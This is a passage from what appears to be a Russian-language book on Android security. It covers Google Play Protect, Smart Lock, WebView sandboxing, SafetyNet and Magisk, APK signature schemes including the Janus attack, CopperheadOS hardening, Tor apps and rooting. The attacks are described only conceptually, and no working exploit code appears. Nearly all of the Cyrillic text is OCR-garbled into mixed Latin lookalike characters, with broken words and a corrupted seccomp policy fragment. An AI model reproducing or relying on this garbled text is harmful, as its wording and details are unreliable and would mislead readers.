minijail destroy(jail);

return 0;

®ann mediaextractor-seccomp.policy

ioctl:
futex:

—_ =

prctl:
write: 1
getpriority: 1
mmap2: 1
close: 1
10munmap: 1
dupe: 1
mprotect: 1
getuid32: 1
setpriority: 1

Google Play Protect

B despaine 2012 roga Google Bmounnace B 60ps0y €O 310BpeAHBIMH NPHUIOXKEHHAMH U
3aIyCTH/Ia CEPBUC OHJIaHH-TPOBEPKH MpPUIOKeHU# Bouncer, koTopelii 3amyckan Kaxnoe
nmy6nukyemoe B Google Play npunoxxeHne B 3MynsaTope ¥ MPOrOHAN 4Yepe3 MHOTOYMC-
JIEHHbIE TECThI B MOUCKAX MOJO3PUTENBHOTO MOBEEHHU.

B Hos6pe Toro ke roga Obl1 3aMylleH CEpBUC OHJIaHH-NPOBEpKU codTa Ha BUPYCHI Mps-
Mo Ha ycrtpoiictBe monb3oBarens (Verify Apps). U3HayanbHO oH paboTan TONBKO Ha
Android 4.2, Ho k uomo 2013-ro Gein uHTerpupoBad B naket Google Play Services u
CTajl JOCTYMNeH i BceX ycTpoicTB oT 2.3 u Beie. HauuHas ¢ anpens 2014-ro, nposep-
Ka OCYILLECTBJIIETCA HE TOJbKO Ha 3Tane YCTaHOBKH NMPWJIOKEHHUS, HO M M0 PaclUCaHHIO,
a c 2017 roga 3a npoBepKkaMu MOXKHO CJIEAHUTh Yepe3 HHTepderc cucTeMbl 0/ Ha3BaHU-
em Google Play Protect.

Bmecte ¢ HOBbIM MHTepdeticom Google BhITalMIa HapyKy elle HECKOIbKO MHIHKATO-
poB paboTbl aHTHBHpyca. Bepcus Play Store nns Android 8 u Bblle mokasbiBaeT cra-
TYC MPOBEPKH Ha CTpPaHWLE NMPHIOKEHHUSA, a TaKKE BBIBOJUT KPACHBBIA 3€JIEHBIA IIUT
¢ Haanucelo «Bce xopolo, napeHb, Thl 3aIHLIEH» B CITMCKE YCTaHOBJICHHBIX MPHIIOXKeE-
Huit (puc. 4.11).

[poGniema 3aeck TOJMBKO B TOM, YTO COIJIACHO TECTy aHTUBUpYcoB 3a mapT 2020 roga
(https://www.av-test.org/en/antivirus/mobile-devices/) Google Play Protect 3anumaer
nocjeaHee MeCTO B peHTHHIe CO CIIEAYIOLMM pe3ysibTaToM: 0OHapyskeHue Toibko 47.8%
HOBBIX BUPYCOB (He cTapiue 4 Hesiellb). ITO MaJo Jaxe Y4uThiBas, yTo Google He MoxeT
NPUMEHATD U1 0OHAPY)KEHHUS Te€ )K€ IBPUCTHUECKHE AITOPUTMBI, YTO U APYrHe aHTHUBH-
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Puc. 4.11. Google Play Protect 8 Android 8

pycbl (6ONBLIIMHCTBO aHTHMBUPYCOB CHMTAIOT MMOAO3PHTEIbHBIMU JAaxe NPUIIOKEHHS,
vMeloLIKe NpaBa Ha oTnpaBky SMS).

KAK PABOTAET GOOGLE PLAY PROTECT

Google no4tn He packpbiBaeT noapobHocTei paboTtel Google Play Protect. Bece, uto y Hac
ecTb, — 370 ctatba Combating Potentially Harmful Applications with Machine Learning at
Google: Datasets and Models (https://android-developers.googleblog.com/2018/11/
combating-potentially-harmful.html). Heckonebko Teancos.

Google aHanuanpyeT He Tonbko npunoxenua n3 Google Play, Ho u nobbie dannel APK,
HanaeHHble B NHTepHeTe.

[ns Kaxaoro NPUNOXEHWN 3anycKalTcA Npoueaypbl CTAaTUYECKOro W AWHAMWUYECKOro
aHanuaa, KoTopble BbISBNAIOT onpeaeneHHble WabnoHbl: 3anpalvsaemMble pa3peLleHus,
noseaeHne NPUNOXeHNs B Tex NNn WHbIx o6CToATeNnLCTBax.

[aHHble, NONy4YeHHble OT CTaTUYECKUX W AMHAMUMECKWX aHanu3aTopos, NepeaatoTcs
WU, HaTpeHnpoBaHHOMY Ha BbifiBNEHWE ONpeaeneHHbIX TUNOB 3NOBPEeAHbIX NPUNOXe-
HWn: SMS-cdpoa, PUWNHS, NOBbILIEHNE NPUBUNETNA.

Kpome paHHbIx 0 camux npunoxeHusx, Google Takke cobupaert u arperupyer AaHHble
o npunoxennn n3 Google Play: cpegHsas oueHka NpunoxeHwin paspaboTynka, penTuHru,
KONWYECTBO YCTAHOBOK U yaaneHuit; ata nHcdopmauus Takke ckapmnusaetcs UA.

Ha ocHoBe Bcex 3TUX AaHHbIX U BLIHOCUT pelleHne O TOM, MOXET N NMPUNoXeHne
6bITe NOTEHUMAnNLHO 3N0oBpeAHbIM.

Google noctosiHHO coseplieHcTByeT U, ckapMnvBas eMy AaHHble CBEXEBbISBNEHHbIX
3nospeaos.



GpoHs Android 67

Smart Lock

CeroHsWIHWH MOIB30BaTENb MPHUBbIK K JaTYMKAM OTIEYATKOB NMalbLUEB U CKAHHPOBAHHIO
avua Ui pa3baoKHpOBKH cMapT@oHa, HO WIECTh JeT Ha3al 3acTaBUTh MMOJb30BaTeNs
3alMTUTL cMapThoH ¢ nomoubto PIN-koaa unm napons 6su10 cnoxHo. [ToatoMy uHxe-
Hepbl Google co3aanu He caMylo HaJeXHYI0 (a B HEKOTOpBIX Cy4asX U COBCEM HEHa-
JeXHYI0), HO NeCTBEHHYIO CHCcTeMy MoJ HazBaHueM Smart Lock.

[MosiBuBwumiics B Android 5 Smart Lock (puc. 4.12) — 310 MexaHU3M AN aBTOMaTHye-
CKOrO OTKJIIOYEHHMS 3alUMThl JKpaHa OJIOKMPOBKHU MOCIE MOJKIIOYEHHSA K OJHOMY M3
Bluetooth-yctpoticTs (yMHbIe Yackl, aBTOMaruuTosna, TV-box), Ha OCHOBE MECTOIOJIOXKeE-
HHS WK MO CHUMKY nuua. PakTHuecku 310 oduLManbHas peanu3auus GyHKUHMH, KOTo-
pble HeopHULManbHO OBITM JOCTYMHBbI B CTOPOHHHMX NMPHUIIOXKEHHAX (Hampumep, SWApp
Link ans pa36nokupoBku ¢ momouubio 4yacos Pebble) u mpowrBkax ot npousBoauTene
(moTtoponosckuii Trusted Bluetooth).

Puc. 4.12. Hacrpoitkn Smart Lock

Teneps GyHKUMOHATBHOCTD 3THX MPHIOXKEHUH OocTynHa B camoM Android, a Bce, yTo
OcTaeTcs cAenaTh Mojib30BaTeN0, — YCTaHOBMTh Ha 3KpaH G6yokupoBku PIN-kon, ko4
un4 naposb, akTuBMpoBaTh Smart Lock B HacTpoiikax Ge3omacHOCTH U O006aBUTb AOBe-
peHHble Bluetooth-ycTpoiicTBa, MecTa 1 Hua.

[To cnoBam Google, Smart Lock no3Bosnn nogHATs YpoBEHb MCMONB30BaHHMSA Maposei
Ans GIOKMPOBKM DKpaHa cped nosib3oBarenei B ABa pa3a. OQHaKO CTOUT UMETh B BUIY,
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YTO M3 BCEX METOJOB pa30JIOKMUPOBKM, HOCTYNHbIX B Smart Lock, Gonee-MeHee Hamex-
HBIM MOXXHO CUMTAaTh TOJbKO Pa3bJOKHMpPOBKY ¢ MoMoulblo ycrporcTea Bluetooth. M sTo
TOJIBKO B TOM CJly4ae, €CJId KOHEYHas Liejb — 3alUTUTh YKPaJeHHOE YCTPOHCTBO, a He
OTCTaMBAaTh CBOE MPABO Ha YACTHYIO XXU3Hb Mepe] MOJHULEHCKUM.

Hroro: ceronns Android ucnons3yer Tpu BHAa pa3bIOKMPOBKH KpaHa C pa3HbIM YpOB-
HEM HafIeXXHOCTH U, COOTBETCTBEHHO, YPOBHEM JIOCTyNa:

1. IMaponb wnu PIN-kom — cuurtaercs Hanbosiee HaAEKHBIM M TOITOMY JAET MOJHBIH
KOHTPOJIb Hall YCTPOHCTBOM 0O€3 BCAKHUX OrpaHHYEHHIA.

2. Otneyarok manbLia MM CHHUMOK JIMLA — MEHee HaeXHbIH, chcTeMa 3anpallivBaeT
naposb fnocje KaxaAo# nepeszarpy3ku TesiedoHa, a TakKe Yyepe3 Kaxaple 72 yaca.

3. Smart Lock — HaumeHee HafeXHbIH METOM, MOITOMY Ha HErO HAKJIAIbIBAIOTCA Te e
OrpaHHYeHHs, YTO U Ha OHOMETPUYECKHI METOA, IUIOC OH HE MO3BOJIAET MONYYUThH
JOCTYN K ayTeHTHPHUKALMOHHBIM KitoyaM Keymaster (Hanpumep, TeM, YTO MCIONb-
3ylOTCS )i MuiaTexeil), a MPUHYIUTENbHBIM 3aMpoc MapoJis MPOUCXOAUT He uepes
72 4aca, a yxe depes 4.

B Android 11 mosBunoces NMOHATHE HAOEXKHOCTH criocoba GnoMeTpuyeckoi ayTeHTHdH-
kauuu. Tenepb cucTeMa Yy4YHUTBIBAET, HACKOIBKO HAJEXKHbIH JaTYMK OTMEYATKOB MalibLEB
WIIM CKaHep JIMLIA YCTaHOBJIEH Ha YCTPOHCTBE, U MOXKET U3MEHUTH MOBEJEHUE CHCTEMBI.
Hanpumep, HeHanexHbl croco® ayTeHTHGHMKAUMM Henb3s OyAeT HCMoab30BaTh NS
ayTeHTHUKALMKU B CTOPOHHHUX TNPWIOKEHUAX M U8  pa3OJOKHpOBKM AOCTyNa
k KeyStore. Taxke ans takoro cnocoba ayTeHTH(HKaLMK TaiiMayT mepel cieqyroLuM
3arpocoM naposis OyaeT CHWXeH ¢ 72 10 24 4acos.

Bcero ecth Tpu Ki1acca HaIEKHOCTH JaTYUKOB (COCOOOB) OMOMETPHUYECKOH ayTeHTUH-
Kall|H:

O Kunacc 3 — HapnexxHsIH, 3anpoc napons depe3 72 yaca, goctyn k KeyStore u Bo3mMoxk-
HOCTB UCIIOJIb30BaHUs B CTOPOHHUX MPHIIOXKEHHUSAX.

0O Knacc 2 — CnabblH, 3anpoc naposis yepe3 24 yaca, goctyn k KeyStore, HeBo3Mo>xHO
UCIOJIb30BaTh B CTOPOHHUX NPUJIOKEHHAX.

O Kunacc 1 — Yno6Hbli, 3anpoc nmaposs yepe3 24 uaca, HeT moctyna k KeyStore, He-
BO3MOJKHO UCIOJIb30BaTh B CTOPOHHHMX NMPUTOXKEHHAX.

Hx HapexHOCTD onpeensercs Ha OCHOBE NMPOLIEHTA JIOXKHBIX cpabaTeiBaHUM, 6e30MacHo-
CTH crocoba 06paboTkH OMOMETPUUYECKUX JAHHBIX M HEKOTOPBIX APYrHX MapaMeTpoB.

WebView

C nepebix Bepcuii B Android Bkmoyan B ceds komnoHeHT WebView Ha 6a3e WebKit,
NO3BOJISAOLINI CTOPOHHUM NpUiiokeHUsIM ucnonb3oBate HTML/JS-nBuxok mis orto-
OpaxeHus koHTeHTa. Ha HeM >xe 6azupoBaioch OONBLUIMHCTBO CTOPOHHUX Opay3epoB.

B Android 4 WebView ObL1 cepbe3HO MOIEPHU3UPOBAH U 3aMEHEH Ha JABIKOK M3 MpOeK-
ta Chromium (Bepcus 33 B Android 4.4.3, puc.4.13). Hauunas c nsaToit Bepcuu
WebView He npocto 6a3zupyercs Ha Chromium, Ho U yMeeT oOHOBNATbeS Yepe3 Google
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Play (B aBTOMaTHuYecKOM peXHMe, HE3aMETHO Ui TOJIb30BaTess). JTO 3HAYHT, YTO
Google MoxeT 3akpbiBaTh YS3BUMOCTH B JBHXKKE TaK ke OBICTPO, Kak YSA3BMMOCTH
B Google Chrome ans Android. Bce, uro norpebyercs oT mons3oBarens, — 3TO MOA-
KnoueHHbIR k MHTepHeTy cMapTdoH ¢ Android 5 unwu Bolue.

Puc. 4.13. HaunHas ¢ Android 5 0 WebView — 370 HesaBucumbln naket

Haunnas ¢ Android 8 pennepep-npouecc WebView u3onupoBaH ¢ noMounsto Seccomp.
OH paboraer B O4eHb OrpaHMYEHHOH MECOYHMLE, KOTOpas He JOMyCKaeT oOpalleHHs
K NMOCTOSAHHOM MaMsATH U ceTeBbIM ¢yHKuusaM. Kpome Toro, WebView Teneps Taioke Mo-
)KET HCMOJNIBL30BaTh TexHonoruio Safe browsing, 3HakOMylO BCEM MOJIb30BATENAM
Chrome. Safe browsing npeaynpexxaaer o noTeHUHabHO HeOe30MacHbIX caiTax U Tpe-
OyeT ABHO MOATBEPAUTDb NEPEXO HAa TAKOH CaWT.

SafetyNet

Haunnas ¢ Android 7 B Google Play Services nosiBunocs APl noa HazBaHuem SafetyNet
Attestation, KOTOpbIi BBIMONHSAET OAHY MPOCTYIO 3ajauy: NMPOBEPKY Ha TO, ABASETCS JIH
YCTPOHCTBO OPHUTHHAIbHBIM (CBEpKa CEpHMHBIX HOMEPOB), He Oblla M €ro NpouIMBKa
M3MEHEHA U €CThb JIH Yy NoJb30BaTens npaea root (puc. 4.14). Ucnonssys stor API, paspa-
6OTYMKH MOTYT MUCaTh MPHIOKEHHS, KOTOpbIE B NMPUHLIKME He 3apaboTaloT Ha MOAU(HU-
LIMPOBaHHBIX NMPOLIMBKAX WIH, K MPUMeEpY, MPOLIWBKAX, AJaBHO He MOJy4YaBIIWX MCMpaB-
neHus 6e3onacHocTH (patch level).
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Puc. 4.14. MNpoeepka ycTpoiicTea ¢ nomouibio npunoxeHun SafetyNet Test

Honaroe Bpemsa SafetyNet onpenensna HaaexKHOCTb YCTPOHCTBA C MOMOLLBIO 3BPUCTHYE-
CKMX METOMIOB, KOTOpbIE€ BCEeraa MOXKHO Obls1o 06MaHyTh: Magisk ycrelHo ckpbiBajil Ha-
JauuHe root U (akT pa3dIoKUpoBKH 3arpy3urka oT SafetyNet Ha NpOTAKEHHH HECKOJb-
KHX JIeT.

C nenaBHero BpeMeHHu SafetyNet nepectan nonaraTbcst Ha MPOCTYHO MPOBEPKY COCTOSAHHS
3arpy3uHka (KoTopyio yMeeT obmMaHbIBaTh Magisk), a BMECTO 3TOro MCHoJib3yeT NnpUBarT-
HbIA KMo4 WHGpPOBaHUA M3 3allMileHHoro xpaHunvuia KeyStore, 4ytoObl moaTBepauTh
JAOCTOBEPHOCTb MEpEAaHHbIX JaHHBIX. OG0MTH 3Ty 3aLIMTY MOXKHO, JTMLIb MOJTYyYHB A0C-
TyN K NIPUBAaTHOMY KJIIOYY, KOTOPbI#i XpaHUTCA B BblAENIEHHOM KpUNTOorpadu4eckom co-
npoueccope (TEE), a caenath 310 npakTHYeCKH HEBO3MOXKHO.

Bce 310 03Hauaer, 4yTO coBceM ckopo Bce cepTUduuUMpoBaHHble Google ycTpoiicTBa Ha
6a3e Android 8 u BbIlIE MPOCTO MepecTaHyT MPoXoauTh NMpoBepKy SafetyNet, n Magisk
Oyner Gecrone3eH NpU MCMONB30BAaHUM OaHKOBCKMX KJIMEHTOB W APYTHUX MpPUIOKEHHH,
ucnons3yrowmx SafetyNet.

Kill Switch

B asrycre 2013 roga Google 3amyctuna Be6-cepeuc Android Device Manager (puc. 4.15),
C MOMOILBIO KOTOPOrO MOJIB30BATENH MOMYYHIH BO3MOXXHOCTb GJIOKMpOBAaTh cMapT(oH
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MM cObpaceiBaTh 10 3aBOACKMX HACTPOeK yAaleHHO. B kayecTBe KIIMEHTCKOW 4YacTH Ha
cMapTdoHe cepBHC Hcnonb3oBasl oOHoBIseMblit yepe3 Google Play komnoHeHT Google

Play Services, moatoMy ¢yHKUHA cTala AOCTYyMHAa A7 JTOObIX YCTPOWCTB HauWHas
¢ Android 2.3.

Puc. 4.15. Hacrpoiiku Android Device Manager

Hauunas ¢ Android 5 cepsuc Ttawke BiumouaeT B cebs ¢yHkuuio Factory Reset
Protection. ITocne ee akTHBaLIMK BO3MOXKHOCTb cOpoca 00 3aBOACKHX HacTpoek Oyaer
3a6/10kMpoBaHa naponem, 4to, no MHeHHto Google, OyaeT NpensATCTBOBaThH MOMHOLEH-
HOMY HCMOJIb30BaHHIO cMapThoHa MM ero mpojaxe. Beap ogHaxabl MpHUBA3aHHbIMH
Kk akkayHTy Google cMapTdoH y>ke He MOXeT ObITh OTBA3aH 6e3 cOpoca HacTpOeK.

LUupposuze noanucu APK

H3HavansHO naket ¢ npunoxenueM s Android (APK) npencraenst coGoii moutu tou-
Hyto kornuto nakera JAR, koTtopbli, B cBOlO oyepeab, ObuT npocto apxuBoM ZIP ¢ He-
CKOJIbKUMH JOMOJIHUTENIbHBIMU (haiiiaMK B KaTajore META-INF. JTH (ailibl comepxaiu
CMUCOK Bcex (aiioB MakeTa, UX KpUNTOrpadHyeckre Xelu, a Takke OTKPBIThIH KPHITO-
rpadMUECKHUii K104, C MOMOILBI KOTOPOro ObLIIM NOAMKCAHbI CTUCKH XELUEH.

Bce 310 no3eonsio y6e}.1MTl>C5l B LICJTOCTHOCTH COACPIKALLUHUXCA B IMAKETE ¢>a|7mos, a TaKxKe
NOATBEPAUATH, YTO MAKET HE ObLT U3MEHEH MOCe CO31aHHUA AaBTOpPOM. IlpyFIdMl/l CJIOBaMH,
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yCTaHaB/IMBasg OOHOBJIEHHE NpHIOXKEHUs s Android, MOXXHO OBITH YBEpEHHBIM, HTO
OHO CO3/1aHO TEM € YEJIOBEKOM, YTO M MpeabIaylias BepCusl.

Ho ects npo6nema. Ataka Janus nokasana, 4yTo CylUeCTBYET BO3MOXKHOCTh BHEAPUTH KOI
B APK, He uaMeHsas ero uudpoByto noanuck. s atoro MoxkHo aonucate DEX-daiin
B Hauyaso cekuui ZIP-gaiina, u Android He yurer ux npu Bepudukauuu daiina, HO nMpu
3TOM (a1 MOKHO OyJeT 3alyCTHTh KaK MCIIONHAEMBIH: 3TO OyaeT OAHOBPEMEHHO M mMa-
KET C MPWIOXKEHHEM, H HCTIONHAeMBbIH daiin. ’

Jns peweHus 3Toi U cxoxux npobiem Google npeanoxuna popMat unppoBoii Moanu-
cu APK signature scheme v2. Ero cytb B ToM, 4T00bI 106aBuTh k APK-(aiiny gononuu-
TeNbHBIN 610K, KOTOpHIi OyneT comepxkath UHdpoByro noanuch Bcero APK uenukom, a
HE OTAENBHBIX €ro 4acTel.

IMomnepxka scheme v2 nossunack B Android 7, a yxe B Android 9 nostiBunack nomneps-
ka APK signature scheme v3. HoBslii popmar undpoBoii moanucu noxox Ha npeabiay-
KA, HO 00JlagaeT OHOW OTJIMYHUTENIEHON YEPTON: OH MOAJEPKHBAET POTALMIO KPHUIITO-
rpaguyeckux Kmouei. 3To no3onseT pazpaboTunkaM 6e3 MpobsieM MEHATh UHPPOBYIO
NOAMNHUCH AJIs1 CBOMX MPUIIOKEHHUH, He 3aCTaBNss MOJIb30BaTeNel YAAIATh CTapYLO BEPCHIO
NPHI0XKEHHS Nepe]] yCTaHOBKOH HOBOM.

ror

Veunns Google B KOHEYHOM HTOre Jasld pe3ynbTaT. Bonbliylo 4acTh yS3BUMOCTEH
B cMapT(doHax Tenepb HaxoIsaT He B camoM Android, a B apaiiBepax v nmpolIMBKax KOH-
KpeTHbIX ycTpoHcTB. [lo obmemy konuuecTBy ys3BuMocteid Android Temeps ruierercs

no3aau i0S, a ueHsl 3a caMd yA3BUMOCTH B Android nmpeBBICHIM LEHbI 332 YA3BUMOCTH
B i0S.

CoBpemenHbIi cMapTdoH Ha Android, ecnM KOHEYHO, STO He KHUTAMCKUi IWKPHOTPeD,
HETMPUCTYTEH MPAaKTHYECKH CO BCeX CTOpOH. C HEro He MOJyYUTCH CHATb AaMI MaMSTH,
€ro Henb3s «OKUPIHYMTLY, BBIMOJHUTH JAAayHTper, B3JIOMaTh ¢ MOMOIIBIO 00X0aa dKpa-
Ha OnokupoBkd. OcnabUTh BCIO 3Ty CHCTEMY 3aLUMTHI CMIOCOOEH JHMLUb CaM NPOM3BOAH-
TeJb YyCTPOMCTBA.
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AnbTepHaTUBHLIE MPOLWUBKW,
PYTUHI U KacToMusauus

Mup 3HaeT MHOXKECTBO MOMBITOK CO3[aTh 3alUMLUEHHBIA cMapTdoH. 310 U Blackphone
¢ ¢yHkuUMeH WUPpPOBaHUS BCEX KOMMYHMKAUWH, U coMHuTenbHblii Blackberry Priv,
u naxe GATCA: Elite, co3parenu koTtoporo BooOlle He CTajld HAYEro NMpHAyMbIBaTh,
W BblJANM CTaHAapTHBIE BO3MOXKHOCTH Android 3a skciito3nBHble. COOCTBEHHbIH 3aLy-
IeHHBIH TenedoH ecTb y pa3paboTunkoB 3HaMeHHUTOro Tor. TouHee, He coBcem TernedoH,
a MpoLUMBKA J11 HEKOTOPbIX MoJelei TenedoHOB.

[TpowiBka ocHoBaHa Ha Android, HO He Ha ToM Android, KOTOpbIH MBI IPUBBIKJIK BUIETD
B HalIMX cMapTdoHax, a Ha ero moaudukauuu non HazpaHuem CopperheadOS.

CopperheadOS

I'naBHas ocobenHoctb CopperheadOS (https://copperhead.co/) — cyliecTBeHHO paciuu-
peHHble cpeacTBa npeaoTBpauleHus B3noma. CopperheadOS ucnonb3yer mMexaHusm 10-
BEpPEHHOIi 3arpy3ku, BrnepBbie nosBuBLIMics B Android 4.4, u, kpome Toro, He nosaraer-
cs  Ha 3a01aroBpeMeHHO ONTUMHU3HUPOBAHHBI KOX NPUIOKEHUH M3  Karalo-
ra /data/dalvik-cache.

[MocnenHuii Hy>keH A/ OLICTPOro 3amycka MPUI0KEHHH U reHepUpyeTCs BO BpeMsl nep-
BOH 3arpy3ku cMapTdoHa (cooduieHne «ONTUMH3aLUs MPUI0KEHHH...»). OHAaKO OH e
MOXET ObITh WCMOJNbL30BaTh A BHEAPEHUS B CUCTEMY 3JIOBPEIHOTO KOAA: HET cMbIcia
MOIMEHSATh CaMO MPUJIOKEHHE B pasielie /system — MeXaHW3M [0BEpeHHON 3arpy3ku
OTKaXeTcs 3arpyaTb cMapToH mnocie MoAWHUKALWK CHUCTEMHOro pasliena, a BOT
ONTUMH3UPOBAHHBIN KOJ B /data/dalvik/cache HA Y KOTO MOAO3PEHUH HE BBI3OBET.

Snpo CopperheadOS cobpaHo ¢ nartyem PaX, BimouarowuM B ceOs HECKOJbKO Mexa-
HU3MOB MPEAOTBPALLEHUs aTak:

O PAX RANDMMAP — 6Gonee npoaBuHyTasi, B CpaBHEHUU C NMPUMEHSEMOH B CTaH-
naptHoM sape Android, peanusauMs MexaHW3Ma paHAOMH3aLMM aAPECHOrO Npo-
ctpaHcTtBa (ASLR), koTopas 3aTpynHsSeT aTaku, HanpaBJIEHHbIE HAa TMEPENONIHEHHUE
Oydepa v xuna;
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O PAX PAGEEXEC — MexaHu3M 3allMThl CTPaHUL, JaHHBIX OT UCIOJHEHHS, KOTOPBIH
yOuBaeT MpUIOKEeHHE, KaK TOJIbKO OHO MOMBITAETCA MCIOIHUTh KOA B 06/1aCTH AaH-
HbIX (B sape Android ecTb Takoit MexaHHW3M, HO OH AEHCTBYeT 6osiee MATKO);

3O PAX _MPROTECT — npensatcTByeT MOAHGHKALMHA KOAA MPUIOKEHUS BO BPEMs HC-
NIOJTHEHUS,;

0O PAX_MEMORY_SANITIZE — o6HynseT cTpaHuLly NaMsTH NPU ee 0CBOOOXKICHHH
(ToNIbKO A7 NPOCTPAHCTBA A4pa);

0O PAX REFCOUNT — cucTeMa aBTOMaTHYECKOTO OCBOOOXKAEHHS HEHMCIOIb3YEMBIX
00bEKTOB B MaMATH, MO3BOJISET NPEOTBPAaTHTh aTak TUMNA use-after-free (Tonbko ans
NPOCTPAHCTBA A4pa);

O PAX_USERCOPY — 3awmmura oT nepenosiHeHus Oydepa myTem cBepku pazmepa 06b-
€KTa (TOJIbKO A1 MPOCTPAHCTBA A1pa);

O PAX KERNEXEC — 3amura cTpaHull NaMSATH OT MCHOJHEHHA (TOJBKO AJS Mpo-
CTpaHCTBA AApa).

MHorue orpanuuenus Android BnepBbie nosunuck uMeHHO B CopperheadOS. K npu-
Mepy, 3anpeT Ha BBINOJHEHHE KOJa W3 BPEMEHHBIX KaTanoros (MOAKIIOYEHHBIX C MIOMO-
w0 ncesno-OC tmpfs), a Takoke 3aMpeT Ha YTEHHE BAXKHOH CUCTEMHON MHGOpPMaLMH U
MHOOpMALKMK O OPYrUX mpoueccax yepe3 GaiaoBylo CHCTEMY procts. 3alpeT Ha JOCTYI
Kk 6ydepy obmeHa B ¢doHe M panmomusauus MAC-aapeca Taloke BIEPBbIE MOSBHIMCH
B CopperheadOS.

CopperheadOS Briouaer B cebs MHOXECTBO Apyrux orpaHuueHud. Ilo ymomyanuro
CTaHJapTHOE MPUIOXKEHUE KaMephbl He yKa3bIBaeT B METaJaHHbIX CHUMKA MECTOIOJIOXKe-
HUE ChEMKH, a 3KpaH He MOKa3bIBaeT yBEJIOMJEHHs, KOTOpbIE MOTYT PacKpbiThb KOH(H-
AeHuManbHylo MHbopmauuioo (Android u iOS paspeinatoT noka3 TakMX YBEAOMJICHHH
C BO3MOXHOCTBIO MX OTKMtoueHHs). Chromium BrJitoyaeT B ceds psa orpaHHYEHHH U Ha-
CTpOEK, HampaB/leHHbIX Ha 3aIUMTY OT yTe4eK JAHHBIX: OTKIIOYEHbl KOPPEKLHs OIHOOK
B aJpecHOM CTPOKe, Mpeasarpy3ka CTpaHHUL, KOHTEKCTHBIA NMOUCK, METPHKM U ayJuT I'H-
nepccbliok. B kauecTBe MOMCKOBO# CUCTEMBI UCTIONB3YETC HE OTCJIEKHMBAIOLUMM 1OJIb-
3oBartens DuckDuckGo.

Tor

CopperheadOS — nuuwp 6azoBas yacTb mpouuBkH. [loBepx Hero paboTaloT elie He-
ckonbko komnoHeHToB: OrBot, OrWall, F-Droid, MyAppList u F-droid.

JlBa rnaBHbIX KoMmmoHeHTa 3aeck — 3To Orbot (https:/guardianproject.info/apps/
orbot/) 1 OrWall (https://orwall.org/). Ileperiit — c6opka Tor ans Android (puc. 5.1),

 cnocobHas pabotath nubo kak JokanbHblE SOCKS-npokcH, nepeHanpasisiolHi Tpa-
¢uk B Tor, 1MGo B pexxume root, Koraa Bech TpapHk 3aBopauuBaeTcs B Tor GpaHaMay-
3poM iptables, 4To no3BonseT uzbexkaThb MOOBIX yTEUeK.

OpaHaKo Mo YMOJTHaHHMIO MPOLIMBKA HE HCMOJb3YeT HU TOT HU ApYroi MeToZ, a rnojaraer-
ca Ha OrWall (puc. 5.2), cBoero poaa obeptky ans OpaHaMayspa, KOTOpass MO3BOJSET
3aBopaurBaTh Tpaduk B OrBot BEIGOPOUHO, ANS KaXIOrO OTAENBHO B3SATOrO MpPHIIOXKE-
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HUs. C ero nomoubi0 MOXXHO TOHKO KOHTPOJIUPOBATH, KTO 6y11eT XO4AUTb B CE€Tb 4Y€pe3
TOI’, KTO HAllpsAMYIO, a KOMY JOCTYyI B I/IHTepHeT 6yueT 3anpeiucH BOBCE.

OrWall nosHOCTbIO GNOKHpYET /Mt00ble MHTEPHET-COEAWHEHUA OO TeX Mop, moka Mpo-
LIKMBKA He OyJeT MOMHOCTLIO 3arpyxeHa. OTO MO3BOJAET U30exkaTh JOOBIX yTeuek NaH-
HBIX B TOM Cllyyae, €CJIH MoJib30BaTe/lb HAMEPEH BBIXOOMTh B IHTEpHET UCKITIOYHTENBHO
yepe3 Tor WK NOMHOCTBIO 3a670KHPOBaTh AocTyn B CeTh He BbI3bIBAIOLIEMY OOBEPHS
codry.

Puc. 5.1. OrBot — Puc. 5.2. OrWall: Beibop
npokcnpyembix yepea Tor npunoxeHun

MyAppList  (https:/f-droid.org/repository/browse/?fdfilter=myapplist&fdid=com.
projectsexception.myapplist.open) — euie 0qHO HHTEpECHOE NPUIIOKEHHE B KOMIUIEKTE
npowuBkyd. U3HayanbHO co3gaHo kak ynoOHbIH cnocob cOXpaHWTb CMHUCOK YCTAHOBIIEH-
HbIX yepe3 MarasuH F-Droid npunoxenuii, Ho pa3paborunku Tor 3ameiicTBoBaM ee Ans
OBICTPOI YCTAaHOBKM PEKOMEHIYEMBIX MPHUIOKEHUN: OHW 3apaHee MOArOTOBHIIM CIHMCOK
co¢Ta, KOTOPbIH MOXKET MPUrOAUTHCA CPEAHECTATHCTHYECKOMY MOJIb30BATENIO, U 3arpy-
aum ero B MyAppList.

B cnucke ecTh:
O meHemxep daitnoB Amaze;
O XMPP-knuentel Conversations u Xabber;
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kHurouuranka Cool Reader;
VolP-knuentsl CSipSimple u Linphone;
opayzep Firefox;

noutoBbli ket K-9 Mail;
Twitter-kanenTt Twidere;

oHnaiiH-kapThl OsmAnd (OpenStreetMap);

uaaoaoauaaaq

meauanpourpeiBatens VLC.

PyTuHr

B mupe Android mpaBa root U nepenpolunBka cMapTdoHa Bceraa ObUIH MOYTH TaKoH ke
00bIJEHHOH BeLIbIO, KAK YCTAHOBKA B3JIOMaHHBIX WP U3 Bape3HUKOB M 3aIlyCK Ha CMapT-
¢doHe ToppeHT-KiIMeHTa. Root oTkpeiBaeT Ge3rpaHHUHblE BO3ZMOXHOCTH 10 M3MEHEHHIO
noselleHUss cMapTdoHa, MO3BONSET YAAIATb MpPEXyCTAHOBICHHBIE TPHIOKEHUA, H3Me-
HATb CUCTEMHbIE HACTPOHWKH M yCTaHaBIWBaTh TBUKM Xposed. A KacTOMHbIE MMPOLINBKH
OTKPBIBAIOT MOJIb30BATENIO HENOCTYINHbIE B CTAHAAPTHON MpOLUMBKE cMapTdoHa BO3-
MO>KHOCTH M HACTPOMKH.

[Tonb3oBaTenu paHHux Bepcuii Android 0OBIYHO MOJTyYalid Mpaea root ¢ UCMONb30BaHHEM
KaKoH-IMO0 ysI3BUMOCTU B cucTeMe Oe3omnacHocTd Android WM ogHOro M3 CUCTEMHBIX
NMPUIOXKEHUI, YCTAaHOBNEHHBIX Npou3BoauTeneM. Mcnons3oBaHue ysa3BUMOCTER MO3BO-
JIAN0 NPUNOKEHHUIO «BBIPBATHCI» U3 «TIECOUYHHLIB) W MONYYUTh MpaBa CUCTEMHOIO Mpo-
uecca yepes 3CKalaLuo MpUBUIIErHi.

YT1oOBI MPHUAOKEHHUS MOTJIM NMOJAYHYHUTH JOCTYI root, B CHCTEME AOJDKHO OBITh KaK MHHH-
MYM Ba KOMIIOHEHTa — OuHapHbIH daiin su, B Linux-cuctemMax UCronb3yeMblid /1S Bbl-
MOJIHEHUs] KOMaHJ C MpaBaMM root, a Taloke NMPHIOKeHHe A 00paboTKH 3anmpocoB Ha
